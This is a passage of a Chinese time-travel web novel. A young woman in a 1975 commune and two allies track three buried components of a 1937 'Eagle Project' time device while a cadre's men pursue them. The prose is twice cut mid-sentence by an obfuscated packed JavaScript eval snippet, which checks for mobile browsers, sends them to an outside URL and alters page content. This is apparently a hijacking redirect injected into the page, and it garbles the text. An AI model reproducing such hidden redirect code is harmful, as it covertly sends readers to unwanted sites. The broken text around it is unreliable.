“若后人得此笔记,切记:鹰计划非为战争,乃为救赎。三处埋藏点汇合之日,真相自现。钥匙需三把合一,方能开启终局。” 林晚照的手指抚过“钥匙需三把合一”这几个字,猛地抬头:“所以镯子只是其中一把?” “对。”孙瘸子点头,“陈老师说过,完整的钥匙分三部分:一是信物,也就是这对龙凤镯;二是地图,就是埋藏点的位置;三是……” 他顿了顿:“三是掌钥人。” “掌钥人?” “就是能使用钥匙的人。”孙瘸子看着林晚照,“你。” 祠堂里陷入沉默。煤油灯的火苗跳动,在墙上投出三人晃动的影子。 陈铁柱率先打破寂静:“李国华知道多少?” “他知道有钥匙,知道埋藏点,但可能不知道需要三合一。”孙瘸子分析,“否则他不会给我们三天时间,而是直接抓人逼问。” “所以他是在等我们找到所有东西,然后一网打尽。”林晚照说。 “没错。”孙瘸子坐下,卷了支旱烟,“但我们可以将计就计。” “您有办法?” 孙瘸子吐出一口烟雾,在昏暗的光线中弥散:“李国华要的是东西,我们可以给他东西——但不是他要的那些。” 他从怀里掏出一张泛黄的纸,摊开在供桌上。那是一张手绘的地图,标注着红星公社的山川地形,三个红圈格外醒目。 “这三个圈,就是真正的埋藏点。”孙瘸子指着地图,“老槐树、后山洞穴、还有……这里。” 他的手指点在地图上一个没有标注的位置。 “这是哪儿?”陈铁柱问。 “废弃的煤矿。”孙瘸子说,“1937年那里还在开采,现在早就塌了。但矿井深处,陈老师藏了最重要的东西。” 林晚照盯着地图,突然发现不对劲:“这三个点……连起来是个三角形。” “而且是个等边三角形。”陈铁柱补充道,他的手指在地图上比划,“老槐树在村口,后山洞穴在村西,废弃煤矿在村东。三个点距离几乎相等。” 孙瘸子露出赞许的眼神:“陈铁柱,你比你爷爷聪明。没错,这是个三角定位。陈老师说,只有三个点同时开启,才能激活最终的东西。” “激活什么?” “不知道。”孙瘸子摇头,“陈老师没说完。他只说,那东西一旦激活,会改变很多事。” 林晚照想起沈红梅的警告,想起那个“观测者”,想起世界规则修正机制的倒计时。所有的线索,似乎都指向同一个方向——这个“鹰计划”,绝不只是1937年的航空发动机技术。 “现在的问题是,”陈铁柱敲了敲地图,“李国华的人盯着我们,我们怎么去这三个点?尤其是废弃煤矿,那地方根本进不去。” “煤矿的事交给我。”孙瘸子说,“我在那儿躲了十几年,熟得很。问题是老槐树和后山洞穴——你们已经暴露了,再接近只会打草惊蛇。” 林晚照突然想到一个主意:“我们可以用扫盲班做掩护。” “怎么说?” “扫盲班不是要教实用知识吗?”林晚照的眼睛亮起来,“我可以提议,带学员实地教学——去老槐树那儿学测量,去后山学认草药。集体活动,他们总不能拦着。” 陈铁柱思索片刻:“可行。但煤矿怎么办?” “煤矿……”林晚照看向孙瘸子,“孙老,您不是说您在煤矿躲过吗?那里能藏人?” “能。”孙瘸子肯定地说,“主矿井塌了,但旁边有条废弃的通风巷,还能进去。就是危险,随时可能塌方。” “危险也得去。”林晚照下定决心,“三天时间,我们必须拿到三处的东西,否则……” 否则李国华就会动手。届时不仅是她和陈铁柱,整个生产队可能都要遭殃——一个“盗窃国家文物”的罪名,足够让所有人脱层皮。 三人开始制定详细计划。 第一步,明天林晚照就以“实地教学”为名,带扫盲班学员去老槐树附近。陈铁柱会安排几个可靠的社员配合,制造混乱,让林晚照有机会探查树下的真实情况。 第二步,后天去后山。那里范围大,更好操作。孙瘸子会在山里接应,如果真埋着东西,就当场取走。 第三步,大后天晚上,也就是最后期限的前夜,三人潜入废弃煤矿。那里最危险,也最关键。 “但有个问题。”陈铁柱突然说,“东西取出来放哪儿?李国华的人肯定搜我们的住处。” 林晚照抚摸着手腕上的银镯:“放我这里。” “空间?”陈铁柱明白了她的意思。 “对。”林晚照点头,“空间只能我进出,最安全。” 孙瘸子虽然听不懂“空间”的具体含义,但从两人的对话中猜出了大概。他看着林晚照,眼神复杂:“陈老师当年常说,科学走到尽头,就是玄学。我那时不信,现在……” 他摇摇头,没再说下去。 计划敲定,已是丑时。孙瘸子将地图重新藏好,陈铁柱吹灭煤油灯,三人摸黑离开祠堂。 回知青点的路上,林晚照问陈铁柱:“你说,陈启明烈士到底预见到了什么?” “不知道。”陈铁柱的声音在夜色中很轻,“但能让一个人临终前还念念不忘的,一定是不得了的事。” “沈红梅说过,我们的世界是被‘观测’的。”林晚照停下脚步,“她说‘鹰计划’里有不该存在的技术,还说我的镯子能激活空间……这一切,会不会都是计划好的?” 陈铁柱也停下来,月光从云缝中漏下,照亮他棱角分明的侧脸:“你是说,我们从一开始就是棋子?” “也许。”林晚照苦笑,“但就算是棋子,也得自己决定怎么走。” 两人对视,在彼此眼中看到了相同的决心。 回到知青点,林晚照轻手轻脚地翻窗进屋。刚躺下,就听见王晓芬的床铺传来窸窣声。 “晚照……”王晓芬小声叫她,“你还没睡?” “刚上厕所。”林晚照随口应道。 黑暗中,王晓芬沉默了一会儿,突然说:“晚照,我想好了。明天我去找那个人,告诉他我不干了。” 林晚照心里一紧:“为什么?” “我觉得……我爸可能被骗了。”王晓芬的声音带着哭腔,“李副主任不是好人。他想害你,我看得出来。” “你别冲动。”林晚照劝道,“你这样去说,他可能会找你麻烦。” “我不怕。”王晓芬的声音坚定起来,“你对我这么好,我不能害你。” 林晚照心里涌起一股暖流。这个胆小的女孩,在关键时刻选择了站在她这边。 “晓芬,谢谢你。”她轻声说,“但你先别去说。等三天,三天后一切都结束了。” “三天后?”王晓芬不解。 “嗯。”林晚照没解释太多,“到时候你就知道了。现在先睡觉,明天还有课呢。” 屋里重归安静。但林晚照知道,王晓芬和自己一样,都睡不着了。 她闭上眼睛,意识沉入空间。 黑土地在夜色中静默,古井水面无波。她走到茅屋,从怀里掏出陈启明的笔记,一页页翻看。 那些癫狂的字迹里,藏着惊人的信息碎片: “……时间不是线性的……过去、现在、未来同时存在……” “……37号实验体证明了……平行宇宙可观测……” “……我们必须留下种子……为那个必然到来的灾难……” 林晚照的手指停在一段话上: “民国二十六年冬,我看见了。1945年的蘑菇云,1969年的登月,还有……2020年的瘟疫。历史在重复,灾难在循环。鹰计划的真正目的,不是造飞机,是造一把钥匙——一把能打开时间之锁的钥匙。” 她猛地合上笔记,心脏狂跳。 陈启明在1937年,就预见到了2020年的新冠疫情?这怎么可能? 除非……他真的接触到了来自未来的信息。 林晚照想起沈红梅说过的“观测者”,想起那个神秘的倒计时。如果陈启明也见过“观测者”,如果“鹰计划”真的是某种时空干预项目…… 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854264|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么她手腕上的镯子,她得到的弹幕系统,她穿越到这个年代,这一切就都有了合理的解释。 她不是偶然来到这里的。 她是被选中的。 窗外的天色开始泛白。鸡鸣声从远处传来,新的一天开始了。 林晚照退出空间,睁开眼睛。手腕上的银镯微微发烫,像是在提醒她——时间不多了。 早饭时,她向陈铁柱提议了“实地教学”的想法。陈铁柱当着众人的面表示支持,还让会计准备了皮尺、本子等工具。 灰衣男人果然在一旁听着,但没有阻止。林晚照知道,他在等——等他们找到东西,然后收网。 上午九点,扫盲班二十多个学员集合,跟着林晚照往村口走去。老槐树桩静静地立在晨光中,断面上的年轮像一只只眼睛,注视着走近的人群。 “今天我们来学测量。”林晚照拿出皮尺,“首先,怎么量长度?谁来试试?” 一个年轻后生自告奋勇。林晚照一边教学,一边悄悄靠近树桩。弹幕系统已经启动,扫描着地下: 【深度0-1米:树根残骸、碎陶片、动物骨骼】 【深度1-2米:铁质箱体(完整度83%),尺寸约80×60×40cm】 【深度2-3米:第二层箱体(完整度91%),尺寸相同,材质不明】 【警告:下层箱体检测到微弱能量辐射】 果然有双层埋藏。 林晚照心里有数了。她继续教学,同时用脚在地上画出范围:“大家看,以树桩为中心,半径五米内,我们可以……” 话音未落,远处突然传来喧哗声。 陈铁柱安排的人开始行动了——几个孩子在田埂上打架,妇女们尖叫着去拉,场面一片混乱。 灰衣男人和几个手下立刻被吸引过去。 就是现在。 林晚照蹲下身,假装系鞋带,手指飞快地在地上刨开一个浅坑。她从空间里取出一块准备好的铁片——那是从仓库铁箱上掰下的碎片,扔进坑里,又迅速填平。 做完这一切,她站起身,拍拍手上的土。 灰衣男人赶回来时,林晚照正在教大家怎么算面积,神情自若。 “刚才怎么回事?”灰衣男人问。 “孩子们打架,没事了。”林晚照笑笑,“同志要一起学吗?” 灰衣男人盯着她看了几秒,摇摇头,退到一旁。 教学继续进行。但林晚照知道,她刚才的小动作,可能已经被发现了。 不过没关系,她本来就是要让他们“发现”点什么。 回村的路上,灰衣男人果然凑过来:“林老师,刚才看你在地上刨什么?” “刨?”林晚照故作茫然,“哦,你说那个啊。我看见个亮晶晶的东西,以为是发卡,结果就是块破铁皮。” 她从口袋里掏出另一块普通铁片——这是事先准备好的。 灰衣男人接过铁片看了看,明显失望:“就这?” “就这。”林晚照叹气,“我还以为捡到宝了呢。” 灰衣男人把铁片还给她,没再说话。但林晚照注意到,他的眼神更加锐利了。 第一处埋藏点探查完成。虽然没能挖出东西,但确认了双层结构,还成功误导了监视者。 下午,林晚照以“备课”为名留在知青点。她关上门,从空间里取出陈启明的笔记,继续研究。 翻到最后一页时,她发现纸张边缘有个微小的凸起。小心撕开,里面夹着一张照片。 照片上是一个实验室,陈启明和一个外国模样的人站在一台奇怪的机器前。机器上有个标志——一只展翅的鹰,鹰眼处镶嵌着一块发光的晶体。 照片背面有一行小字: “柏林,1936。海森堡教授演示时间共振原理。钥匙的核心,在他手里。” 林晚照的手开始发抖。 海森堡——量子力学的奠基人之一,诺贝尔奖得主。 陈启明在1936年见过海森堡?还参与了时间共振实验? 她突然想起笔记里的话:“钥匙需三把合一,方能开启终局。” 如果龙凤镯是第一把钥匙,地图是第二把,那么第三把…… 会不会就是照片里,海森堡手中的那块发光晶体? 而那块晶体,此刻可能就在红星公社的某个地方,埋在地下,等待了三十八年。 窗外的天色渐渐暗下来。 林晚照收起笔记,走到窗前。远处的山峦在暮色中变成深青色,像一头沉睡的巨兽。 明天要去后山。那里会有什么在等着她? 她不知道。 但她知道,三天倒计时的第二天,即将结束。 而在废弃的煤矿深处,某种沉睡多年的东西,似乎感应到了钥匙的靠近,开始发出微弱的脉冲。 那脉冲穿过层层岩壁,穿过三十八年的时光,最终,被千里之外的某台仪器捕捉到了。 仪器屏幕上,一个红点开始闪烁。 操作员抓起电话:“报告,37号信标激活。位置确认,江西省永丰县红星公社。重复,37号信标激活。” 电话那头沉默了几秒,传来一个苍老而激动的声音: “终于……等到了。启动‘归巢计划’,不惜一切代价,回收钥匙。” 15. 后山洞穴 晨雾如乳白色的纱幔,缠绕着后山的每一道山脊。林晚照领着扫盲班学员走在湿滑的山路上,脚下的枯叶发出细碎的声响。这是第二天,目的地是后山洞穴——按照计划,今天必须找到第二处埋藏。 “大家小心脚下。”林晚照走在前面,手里拄着一根从路边捡来的木棍,“咱们今天学辨认草药,山里很多植物都能治病。” 学员们好奇地东张西望。对于这些常年与土地打交道的农民来说,山里的草药并不陌生,但系统地学习还是第一次。 灰衣男人和两个手下不远不近地跟着,目光如鹰隼般锐利。林晚照能感觉到那视线如芒在背,但她强迫自己专注于教学。 “这是车前草,治咳嗽很好。这是金银花,清热解毒……”她一边讲解,一边用余光观察地形。 洞穴在向阳的半山腰,洞口被茂密的藤蔓遮掩。昨天陈铁柱已经派人提前清理了部分藤蔓,此刻洞口隐约可见。 “林老师,那就是传说中闹鬼的山洞吧?”一个胆大的后生问。 “什么闹鬼,那是封建迷信。”林晚照正色道,“洞穴是自然形成的,里面可能有钟乳石,还有蝙蝠。大家等会儿进去要小心,别乱跑。” 靠近洞口时,一股阴冷潮湿的气息扑面而来。灰衣男人突然加快脚步,挡在洞口:“林老师,这洞里危险,还是别进去了。” “来都来了,看看无妨。”林晚照坚持,“您要是不放心,可以跟我们一起进去。” 灰衣男人眯起眼,似乎在权衡。最终他侧身让开:“十分钟,就十分钟。” 洞穴很深,光线昏暗。林晚照点亮带来的马灯,昏黄的光晕照亮了嶙峋的石壁。学员们又好奇又害怕,挤在一起慢慢往里走。 弹幕系统已经启动,扫描着洞穴深处: 【前方三十米:人工开凿痕迹,年代约1937年】 【左侧石壁:隐藏入口,开启需特定频率声波】 【警告:检测到微弱能量波动,与银镯共振频率吻合】 果然在这里。 林晚照不动声色地继续讲解:“大家看这些石壁,这是石灰岩,长期被水侵蚀就形成了溶洞……” 她说话时,手指轻轻摩挲着手腕上的银镯。随着她的动作,镯子开始微微发烫,发出只有她能感觉到的震动。 左侧石壁传来几乎不可闻的“咔哒”声。 灰衣男人突然转头:“什么声音?” “可能是蝙蝠。”林晚照镇定自若,“或者石头松动。” 她加快脚步,带着学员继续深入。洞穴逐渐变窄,最终来到一个相对开阔的石室。石室中央,明显有人工修整过的痕迹,地面上甚至铺着几块平整的石板。 “就在这儿休息一下吧。”林晚照放下马灯,“大家找地方坐,我讲讲山里还有哪些有用的植物。” 学员们三三两两坐下,灰衣男人则站在入口处,目光扫视着石室的每一个角落。 林晚照假装找地方坐,慢慢挪到左侧石壁旁。她的后背贴上冰凉的石壁,手腕的银镯烫得几乎要灼伤皮肤。 弹幕系统再次提示:【共振频率已达临界点,持续三秒可开启隐藏入口】 三秒。在灰衣男人的注视下,这简直是不可能完成的任务。 就在她绞尽脑汁想办法时,洞穴外突然传来呼喊声:“着火了!山下着火了!” 灰衣男人脸色一变,转身就往外冲。他的两个手下也跟着跑了出去。 机会! 林晚照立刻将银镯紧贴在石壁上,心中默数:一、二、三—— 石壁无声地滑开一道缝隙,仅容一人侧身通过。她毫不犹豫地钻了进去,石壁在身后迅速合拢。 短暂的黑暗后,眼前出现了微弱的光源。这是个天然形成的石穴,不大,约莫十平米。正中央摆着三个铁皮箱子,和之前在仓库暗格里发现的差不多大小。 但最引人注目的,是石穴顶部——那里镶嵌着一块拳头大小的晶体,正发出柔和的蓝白色荧光。光线投在铁箱上,给冰冷的金属镀上一层梦幻的色彩。 林晚照走上前,看见中间那个铁箱上放着一本笔记,封面上是熟悉的字迹:陈启明,民国二十六年十二月。 她翻开笔记,第一页就让她浑身一震: “致后来者:如果你能看到这些话,说明‘钥匙’已经激活,时间共振开始了。不必惊慌,这一切都在计算中。” “鹰计划的真相,远比你想象的更宏大。我们不是在造飞机,我们是在搭建一座桥——一座连接过去与未来的桥。” “1936年,在柏林,海森堡教授向我展示了时间共振理论。他证明,在特定条件下,信息可以跨越时间传递。但这项技术太危险,一旦滥用,可能引发时空悖论,甚至摧毁现实结构。” “我们决定将核心组件分藏三处,只有三把钥匙合一,才能安全启动。第一把是信物镯,第二把是地图,第三把……” 林晚照抬头看向那块发光的晶体。 “……是这块‘时间晶体’。它储存着所有关键数据,也是共振装置的核心。” 她继续往下读: “但计划泄露了。有人想抢走晶体,用于更危险的目的。我们在转移途中遇袭,不得不将组件藏在这个偏远的山村。” “如果你找到了这里,请记住:三处埋藏点必须同时激活,才能安全提取数据。如果单独启动,可能引发不可控的时间涟漪。” “最后,请原谅我们的自私。我们把拯救未来的重任,交给了素未谋面的你。因为根据计算,只有在1975年这个时间节点,由特定的‘异常者’操作,计划才有成功的可能。” 笔记到这里结束。 林晚照站在原地,消化着这些信息。她终于明白了——自己不是偶然穿越,是被计算好的“异常者”。沈红梅、陈铁柱,还有她自己,都是这个庞大计划中的一环。 她走到铁箱前。三个箱子都没上锁,她一一打开。 第一个箱子里是厚厚的图纸和文件,标题都是德文和中文双语,内容涉及量子物理、时空理论,还有大量的数学公式。这已经不是1937年该有的科技水平。 第二个箱子里是一些精密仪器,虽然蒙尘,但保存完好。有类似钟表的装置,有复杂的线圈结构,还有几个密封的玻璃管,里面装着发光的液体。 第三个箱子最小,里面只有一个金属圆盘,直径约二十厘米,表面刻满了微小的符文。圆盘中央有个凹陷,形状和大小…… 林晚照看向顶部那块晶体。 完全吻合。 她正要伸手去取晶体,洞穴外突然传来撞击声。有人在砸石壁! “林晚照!出来!”是灰衣男人的声音,带着气急败坏,“我知道你在里面!” 林晚照心头一紧。山下的火肯定是陈铁柱放的调虎离山计,但没想到灰衣男人这么快就反应过来了。 她快速思考:晶体必须带走,但直接取下来可能会有危险。笔记说三处必须同时激活,现在才第二处…… 撞击声越来越响,石壁开始颤动。灰衣男人在用什么东西砸门。 没时间犹豫了。林晚照踮起脚,伸手触碰那块晶体。就在指尖接触的瞬间,晶体突然光芒大盛,整个石穴被照得如同白昼。 一段影像直接投射在她的脑海—— 是陈启明。他坐在实验室里,脸色苍白,但眼神坚定。 “后来者,当你看到这段影像时,我可能已经不在了。请仔细听我说:时间晶体不能单独取出,必须三处共振同时进行。我已经计算好了时间节点——三天后的午夜,当北斗七星指向正北时,三处埋藏点会自然形成共振场,届时才能安全取出所有组件。” “如果强行提前取出,晶体储存的数据会受损,共振装置也会失效。更重要的是,可能引发局部时空紊乱,后果不堪设想。” “请务必等待。我们已经等了三十八年,不差这三天。” 影像结束,光芒收敛。晶体恢复了柔和的荧光。 林晚照缩回手,冷汗已经湿透了后背。差一点,她就酿成大祸。 撞击声停了。外面传来灰衣男人和另一个人的对话: “砸不开,这石壁有古怪。” “那就等。她总要出来的。” “李主任说,今天必须拿到东西……” “急什么,她还能飞了不成?” 林晚照靠在石壁上,大脑飞速运转。灰衣男人堵在门口,她出不去。但也不能一直待在这里,食物和水都是问题。 她看向三个铁箱。图纸和仪器太重,带不走。但那个金属圆盘…… 她小心地取出圆盘,入手冰凉,比想象中轻。圆盘背面刻着一行小字:“共振引导器,需与晶体配合使用。” 也许,这个能帮她脱困。 林晚照举起圆盘,对准顶部的晶体。圆盘开始微微震动,表面的符文依次亮起。晶体受到感应,光芒再次增强,但这次不是刺眼的白光,而是柔和的波纹状光晕。 光晕扩散开来,触及石壁。石壁开始变得透明,像一层毛玻璃,能隐约看见外面的景象。 灰衣男人和两个手下正守在洞口,焦急地踱步。他们看不见里面的光,也听不见声音——这光晕似乎有隔音效果。 林晚照发现,随着圆盘的转动,石壁上出现了一个发光的图案:一个复杂的几何图形,中心有个旋钮状的标记。 她试探着伸手按向那个标记。 石壁无声地滑开一道新的缝隙——不是通往主洞穴的方向,而是通向更深的山体内部。一股冷风从缝隙中吹出,带着泥土和矿物质的气息。 是密道! 林晚照毫不犹豫地抱起圆盘,钻进缝隙。她刚进去,石壁就在身后合拢,严丝合缝,看不出任何痕迹。 密道很窄,只能弯腰前行。走了约莫十分钟,前方出现微弱的光亮。她加快脚步,出口竟是一个隐蔽的山涧,被茂密的灌木遮掩。 山涧下方传来水声,是条小溪。林晚照拨开灌木,看见了等在溪边的陈铁柱和孙瘸子。 “得手了?”陈铁柱迎上来。 林晚照点头,举起手中的圆盘:“但晶体不能动,要等三天后的午夜。” 她快速讲述了洞穴里的发现,包括陈启明的影像警告。孙瘸子听完,老泪纵横:“陈老师……他什么都算到了。” “现在的问题是,”陈铁柱皱眉,“灰衣男人发现你不见了,肯定会搜查全山。你不能再回知青点。” “那我去哪儿?” 孙瘸子擦擦眼泪:“去我那儿。我在山里有个窝棚,平时打猎歇脚用的,没人知道。” 三人沿着溪流往下游走,穿过一片竹林,来到一个极其隐蔽的山坳。窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854265|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棚依着山崖搭建,用树枝和茅草覆盖,从外面看就像一堆自然生长的灌木。 窝棚里很简陋,只有一张木板床,一个土灶,几件破旧的工具。但胜在安全。 “你先在这儿躲着。”陈铁柱说,“我回去打探情况。孙老,您陪着她。” “不行,”孙瘸子摇头,“你一个人回去太显眼。我去,我这把老骨头,没人会怀疑。” 最终决定孙瘸子回村打探,陈铁柱留下保护林晚照。 孙瘸子走后,窝棚里只剩下两个人。陈铁柱生起火,烧了点热水。林晚照捧着破碗,感受着热水带来的暖意,紧绷的神经终于稍微放松。 “你说,”她看着跳动的火苗,“陈启明教授预见到了多少?” “不知道。”陈铁柱往火里添了根柴,“但从笔记看,他至少知道1975年会有‘异常者’来取东西。他还知道必须三处同时激活……这已经超出了正常人的能力。” “时间共振……”林晚照喃喃道,“如果真能跨越时间传递信息,那我们现在做的每一件事,可能都在他的计算之中。” “那你觉得,我们是棋子,还是棋手?” 林晚照沉默了很久:“也许都是。我们在下自己的棋,但棋盘是他画的。” 夜色渐深,山里的气温骤降。窝棚漏风,寒气直往骨头里钻。陈铁柱脱下自己的旧军装外套,递给林晚照:“披上。” “那你呢?” “我扛冻。”他简短地说,起身走到窝棚口警戒。 林晚照披上还带着体温的外套,心里涌起复杂的情绪。在这个陌生的时代,陌生的世界,至少还有一个人是可信的。 后半夜,孙瘸子回来了。他脸色凝重,带回来一个坏消息。 “灰衣男人搜了知青点,没找到你,就把王晓芬带走了。” “什么?!”林晚照猛地站起来。 “说是协助调查。”孙瘸子叹气,“但我看,是当人质。李国华放出话了,明天太阳下山前见不到你和东西,就……” 他没说完,但意思很明显。 林晚照握紧拳头。王晓芬是无辜的,只是被她牵连。 “还有,”孙瘸子继续说,“村里来了更多人。有县里的,好像还有省里的。李国华这次是下了狠心。” 情况急转直下。原本以为只有李国华一股势力,现在看来,他背后还有更大的力量。 “明天就是最后期限了。”陈铁柱沉声说,“我们必须在明天午夜前,同时激活三处埋藏点。但现在煤矿那边还没探查,王晓芬又被抓……” “煤矿我去。”林晚照突然说,“我有圆盘,也许能避开监视。” “太危险了!” “没有别的选择了。”林晚照看着两人,“陈启明教授等了三十八年,我们不能让计划失败。而且……” 她看向黑沉沉的夜空:“我有种感觉,这一切,不只是为了几份资料。他在影像里说‘拯救未来的重任’,也许我们正在做的,真的是很重要的事。” 窝棚里陷入沉默,只有柴火燃烧的噼啪声。 最终,陈铁柱点头:“好,明天我们去煤矿。但得计划周全。” 三人围坐在火堆旁,制定最后的方案。煤矿在村东五里外,已经废弃十几年,入口早就塌了。但孙瘸子知道一条小路,能绕到矿井深处。 “问题是,那里可能有人守着。”孙瘸子说,“李国华不傻,他肯定猜到我们会去煤矿。” “那就声东击西。”林晚照有了主意,“我们分两路,一路去煤矿,另一路……” 她详细说了计划。孙瘸子和陈铁柱听完,都露出惊讶的神色。 “这能行吗?”陈铁柱问。 “只能试试。”林晚照说,“我们没有退路了。” 计划敲定,已是凌晨。孙瘸子出去放哨,让两人休息。但谁都睡不着。 林晚照靠在木板床上,看着窝棚顶的茅草缝隙里透进的星光。手腕上的银镯微微发烫,圆盘放在枕边,也在发出微弱的共鸣。 她突然想起沈红梅在空间里的警告,想起那个倒计时,想起“观测者”…… 这一切,难道真的是一场跨越百年的救赎计划? 如果是,那他们要拯救的未来,到底是什么样的? 如果是,那失败的话,又会发生什么? 她闭上眼睛,在困倦和焦虑中,意识渐渐模糊。 半梦半醒间,她仿佛又看见了陈启明的影像。这次他不是在实验室,而是在一片废墟中。天空是暗红色的,大地龟裂,远处有燃烧的城市。 他转过身,看着林晚照,嘴唇翕动: “时间不多了……灾难已经启动……你们是最后的希望……” 影像碎裂,林晚照猛地惊醒。 天快亮了。 最后一天,开始了。 而在山下的村庄里,李国华站在临时指挥部的窗前,手里拿着一份刚破译的电报。 电报来自一个代号“归巢”的机构,内容只有一行字: “确认‘时间晶体’已激活。执行最终指令:不惜一切代价,回收或摧毁。重复,不惜一切代价。” 他点燃火柴,烧掉电报。火光映着他冷酷的脸。 “传令下去,”他对身后的手下说,“今天日落前,我要见到人和东西。如果见不到……就把山烧了。” 16. 三钥合一 废弃煤矿像一头僵死的巨兽,趴在黎明前的黑暗中。坍塌的井口张着黑洞洞的大嘴,四周散落着生锈的矿车轨道和腐朽的坑木。晨雾在山坳里弥漫,给这片废墟蒙上一层诡异的白纱。 林晚照伏在距离矿井入口百米外的灌木丛里,身上的旧军装外套沾满了露水。陈铁柱趴在她左侧,眼睛紧盯着矿井方向。孙瘸子已经先行潜入——他熟悉这里每一条废弃的巷道。 “看到什么了?”林晚照压低声音问。 陈铁柱举起自制的单筒望远镜——用两个老花镜片和竹筒做的简易装置:“入口有两个守卫,东侧山坡还有三个流动哨。李国华这次下了血本。” “王晓芬呢?” “没看见。可能被关在井下。” 林晚照握紧手中的共振圆盘。这个从后山洞穴带出来的金属圆盘,此刻正发出几乎察觉不到的温热,表面的符文在晨光中泛着微弱的荧光。 根据计划,孙瘸子会先潜入矿井深处,找到第三处埋藏点——也就是陈启明笔记中提到的“最终组件”。林晚照和陈铁柱则在外围制造混乱,引开守卫。 “时间不多了。”陈铁柱看了眼天空,东方已经开始泛白,“再过一个时辰,村民们就该下地了。到时候动静太大会惊动整个公社。” “那就现在行动。”林晚照深吸一口气,“按第二方案。” 所谓第二方案,是昨夜他们紧急制定的备用计划——如果守卫太严密,就用“声东击西”加“调虎离山”。 陈铁柱从怀里掏出一个小布包,里面是他连夜赶制的简易烟雾弹:几支裹了硫磺和硝石的竹筒,引线用油浸过。 “我往东边扔,你往西边。”他分配任务,“等守卫分散,我们从北侧那个废弃的通风口进去。孙老在那里接应。” 两人分头行动。林晚照猫着腰,借着灌木和乱石的掩护,向西侧山坡移动。脚下的碎石发出细微的声响,她尽量放轻脚步。 靠近到三十米时,她停下,点燃了手中的竹筒。引线“嗤嗤”燃烧,她用力将竹筒扔向守卫身后的矿渣堆。 竹筒在半空炸开,腾起一团黄白色的烟雾,还带着刺鼻的气味。与此同时,东侧也传来爆炸声,陈铁柱也得手了。 “什么情况?!” 守卫们惊慌地转身,有人朝烟雾方向跑去,有人则大喊:“敌袭!警戒!” 混乱中,林晚照看见矿井入口的守卫也被吸引了过去。机会来了。 她迅速冲向矿井北侧。那里有个半塌的通风口,原本用木板封着,现在木板已经被孙瘸子从里面撬开了一条缝。 “快!”孙瘸子的声音从缝隙里传来。 林晚照侧身挤了进去。通风巷狭窄低矮,必须弯腰才能前行。孙瘸子举着一盏小油灯在前面带路,昏黄的光晕在潮湿的巷壁上跳动。 “找到了吗?”林晚照喘息着问。 “找到了。”孙瘸子的声音带着激动,“就在主井道下面,但情况……有点怪。” 巷道向下延伸,坡度越来越陡。空气中弥漫着霉味和某种说不出的金属气息。走了约莫十分钟,前方出现微光。 不是油灯的光,而是幽幽的蓝光,从巷道的拐角处透出来。 转过拐角,林晚照看见了令人震撼的景象—— 这是一个天然形成的洞穴,但洞壁被人为修整过,镶嵌着某种发光的矿石。洞穴中央,立着一个金属支架,支架上固定着一个椭球形的装置,约莫有汽油桶大小。 装置表面是抛光的银白色金属,刻满了与共振圆盘相似的符文。此刻,这些符文正流淌着液态般的蓝光,像有生命般缓缓脉动。 最引人注目的是装置顶端——那里有一个凹陷,形状大小,与林晚照手中的圆盘完全吻合。 “这就是陈老师说的‘最终组件’。”孙瘸子轻声说,像是怕惊扰了什么,“我守了三十八年,今天终于……” 他的话没说完,巷道外传来急促的脚步声。 陈铁柱冲了进来,身上带着硝烟味:“守卫追过来了!他们发现我们进来了!” “多少人?” “至少十个,都有枪。” 情况危急。林晚照看向那个椭球形装置,又看看手中的圆盘。陈启明的影像说过,三处必须同时激活,时间就在今晚午夜。但现在,他们可能连一个小时都没有了。 “还有一个问题。”孙瘸子突然说,“王晓芬不在这里。我找遍了矿井,没看见她。” 林晚照的心沉了下去。如果王晓芬不在这里,那李国华把她关在哪儿?或者……更糟的可能性是,她已经不在了。 巷道外传来喊声:“里面的人听着!你们已经被包围了!出来投降,可以宽大处理!” 是灰衣男人的声音。 “没时间了。”陈铁柱拔出腰间的柴刀,“我拖住他们,你们……” “不行。”林晚照打断他,“三处必须同时激活,但现在老槐树和后山都没有准备。而且,王晓芬还在他们手里。” 她的大脑飞速运转。弹幕系统在这一刻给出了新提示: 【检测到高维能量源:时空共振装置(完整度92%)】 【激活条件:三钥合一,时空节点校准(北斗七星指向正北)】 【当前时空稳定性:87%(低于70%可能引发局部时空紊乱)】 【建议:拖延时间至正确节点,或寻找替代激活方案】 替代方案? 林晚照盯着那个装置,突然想起陈启明笔记里的一段话:“……共振原理基于量子纠缠,理论上,只要能量达到阈值,可以临时建立连接……” “孙老,”她急促地问,“陈老师有没有留下备用方案?万一时间来不及怎么办?” 孙瘸子思索片刻,猛地一拍大腿:“有!他提过一次,说如果实在等不到正确时间,可以用‘血引’强行启动,但风险极大!” “什么风险?” “可能……可能引发不可控的时空涟漪。”孙瘸子的脸色发白,“陈老师说,那是最后的办法,不到万不得已不能用。” 巷道外的脚步声越来越近,已经能听见拉枪栓的声音。 “现在就是万不得已的时候了。”陈铁柱说,“他们冲进来,我们都得死。东西也会被抢走。” 林晚照咬牙,做出了决定:“用血引。孙老,怎么做?” 孙瘸子走到装置前,手指在某个符文上按了三下。装置侧面滑开一个小面板,露出三个凹槽——每个凹槽的形状都不同。 “第一个放共振圆盘,第二个放镯子。”孙瘸子指着凹槽,“第三个……需要‘钥匙持有者’的血。” 